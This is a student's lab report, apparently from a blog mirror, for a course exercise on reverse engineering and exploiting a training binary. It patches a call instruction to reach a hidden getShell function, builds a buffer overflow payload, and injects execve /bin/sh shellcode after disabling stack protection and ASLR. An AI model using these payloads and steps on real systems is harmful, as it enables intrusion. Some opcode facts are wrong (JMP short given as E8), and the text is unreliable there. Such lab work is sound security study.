zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175213吕正宏 Exp1 PC平台逆向破解

    2019-2020-2 网络对抗技术 20175213吕正宏 Exp1 PC平台逆向破解

    一、实践说明

    实践目标

    • 对象:名为pwn1的linux可执行文件

    • 程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串

    • 学习目标:运行这个代码片段。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell而正常情况下这个代码是不会被运行的。

    • 三个实践内容如下:

      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

      • 注入一个自己制作的shellcode并运行这段shellcode。

    • 代表现实情况中的攻击目标的思路:

      • 运行原本不可访问的代码片段。

      • 强行修改程序执行流。

      • 以及注入运行任意代码。

    基础知识

    • 需要掌握的内容:

      • 熟悉Linux基本操作。能看懂常用指令,如管道(|),输入、输出重定向(>)等。

      • 理解Bof的原理。能看得懂汇编、机器指令、EIP、指令地址。

      • 会使用gdb,vi。

    • 指令、参数。

    • 理解思路。

    二、 实践任务

    1. 直接修改程序机器指令,改变程序执行流程

    • 输入指令objdump -d pwn1 | morepwn1文件进行反汇编

    • 分析反汇编的结果

      • main函数中call 8048491 <foo>是汇编指令,其机器码为e8 d7 ff ff ff,e8即跳转的意思。这条指令将调用位于地址8048491处的foo函数。

      • 其下一条指令的地址为80484ba,而机器码中的0xd7ffffff = 0x080484ba - 0x08048491 为主函数执行位置和foo函数起始地址的差(d7ffffff是补码,表示-41)。

      • main函数调用foo,对应机器指令为e8 d7ffffff
        想让它调用getShell,只要修改d7ffffffgetShell-80484ba对应的补码就行。即0x080484ba - 0x0804847d = 0xffffffc3

    • 输入指令vi pwn1 打开以ASCII码显示的文件,但此时显示是乱码。

    • 输入指令:%!xxd 将文件转换为16进制查看。并找到d7ffffff 所在位置,输入i 进入插入模式,将d7修改为c3

    • 输入指令:%!xxd -r 将文件转化为ASCII码形式,再输入:wq保存并退出。

    • 再输入指令objdump -d pwn1 | more 查看,发现pwn1文件已经被修改了。

    • 此时再运行修改后的代码,就会得到shell提示符。

    2. 通过构造输入参数,造成BOF攻击,改变程序执行流

    • 通过反汇编的指令查看foo函数中为输入预留的空间

    • 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 。我们希望执行getShell函数,因此需要将getShell函数的地址放在返回地址(eip寄存器)处,即33~36字节(4为EBP占用的内存空间)。

    • 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

    • 我们在gdb pwn1调试中中输入至少36字节的数据,如1111111122222222333333334444444412345678,发现Segmentation fault 的错误提示,且使用命令info r可以查看到eip寄存器的地址为0x34333231

    • 我们将33~36字节的内容替换为getShell的地址0x0804847d,字符串以ASCII码输入,同时机器为小端法,因此应为x7dx84x04x08。即是输入11111111222222223333333344444444x7dx84x04x08

    • 由于我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车。于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。然后使用catxxd查看input文件的内容是否如预期。

    • 通过管道符| ,输入命令(cat input; cat ) | ./pwn2 将构造的输入注入并运行,结果如下:

    3. 注入Shellcode并执行

    • (1)构造buf的方法:该任务中我们可以观察到缓冲区的空间并不是很大并不是很大,同时经过老师视频的讲解,我们可以确定应该是采用将shellcode放在后面的方法,因此直接对第一种方法进行测试,结构为:anything+retaddr+nops+shellcode

    • (2)准备工作:

      • 先利用apt-get install execstack命令安装execstack软件包。

      • foo函数的局部变量不需要机器码,而我们需要将shellcoode注入缓存区,需先设置设置堆栈可执行。execstack -s pwn3 设置堆栈可执行;
        execstack -q pwn3 查询文件的堆栈是否可执行,结果为X表示可执行。

      • linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化。

    more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭;

    echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化;

    more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭。

    • (3)构造payload

      • 参考老师给出的代码,我们首先构造一个input_shellcode:

      • perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode。

      • 重新开启一个a终端(非root模式下),通过(cat input_shellcode;cat) | ./pwn3 运行pwn3。

      • 再开一个b终端,从中输入ps -ef | grep pwn3 查看pwn3的进程号。

      • 启用gdb调试并定位pwn3进程。disassemble foo 进行反编译,可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

      • 在a终端中按下回车运行, 程序执行到断点停止。再在b终端输入c继续运行程序。

      • info r esp 查看esp寄存器地址。

      • x/16x 0xffffd390 以16进制形式查看0xffffd390地址后面16字节的内容

    • (4)修改输入并实现shellcode注入

      • 修改注入代码的地址:

      • perl -e 'print "A" x 32;print"xd0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode。

      • 输入命令(cat input_shellcode;cat) | ./pwn3 运行发现shellcode注入成功。

    三、 问题回答

    • 什么是漏洞,漏洞有什么危害?
    漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。
    利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。
    漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
    
    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    NOP:90
    JNE:75
    JE:74
    CMP:38~3D
    JMP:
    
    JMP short:E8
    JMP near:E9
    JMP word:FF
    JMP far:EA
    
    • 掌握反汇编器与十六进制编程器
    反汇编指令:
    
    objdump -d <file(s)>: 将代码段反汇编;
    objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
    objdump -C <file(s)>: 将C++符号名逆向解析
    objdump -l <file(s)>: 反汇编代码中插入文件名和行号
    objdump -j section <file(s)>: 仅反汇编指定的section
    
    十六进制编程器:是用来以16进制视图进行文本编辑的工具软件。
    
      vim <filename> 以ASCII码形式显示可执行文件的内容
    
      :%!xxd 将显示模式切换为16进制模式
    
      :%!xxd 将16进制切换回ASCII码模式
    

    四、 心得体会

    在前几个学期的学习中,缓冲区溢出攻击一直是挂在嘴边的知识点。这一次也终于亲手尝试了一下。
    虽然中途遇到很多挫折,但通过网上资料的查找和与同学交流的方式,这次实验也算圆满完成。
    通过观看视频和亲手做实验,我也对缓冲区溢出有了更深入的了解,相信在以后的学习生活中,我也会多多动手,实践出真知。

    五、遇到的问题和解决方法

    • 问题一:在gdb调试时,显示“未找到命令”
    • 解决:在root下使用命令apt-get install gdb安装。

    • 问题二:gdb调试后出现Detaching after fork from child process ***错误。
    • 解决:gdb报信息Detaching after fork from child process ***意思是debug只能跟踪一条进程,这句话是把没有被debug的进程报给你。但根本原因是我在gdb调试是沿用了之前已经被修改成恶意代码的pwn1,所以要在开始备份pwn1,再在这步调试。

    • 问题三:再开另外一个终端用gdb调试pwn3时,显示“不允许的操作
    • 解决:不能在root模式下运行pwn3,需要重新开启个终端再运行pwn3,再开一个终端调试(总共三个终端)。

  • 相关阅读:
    学习进度条博客(软件工程)第一周
    随机产生30个两位数的四则运算(包括真分数的计算)
    构建之法阅读笔记01
    感想
    《构建之法》阅读笔记04
    团队冲刺第二天
    第八周学习进度条
    团队冲刺第一天
    第七周学习进度条
    课堂测试03
  • 原文地址:https://www.cnblogs.com/LZHNB/p/12500928.html
Copyright © 2011-2022 走看看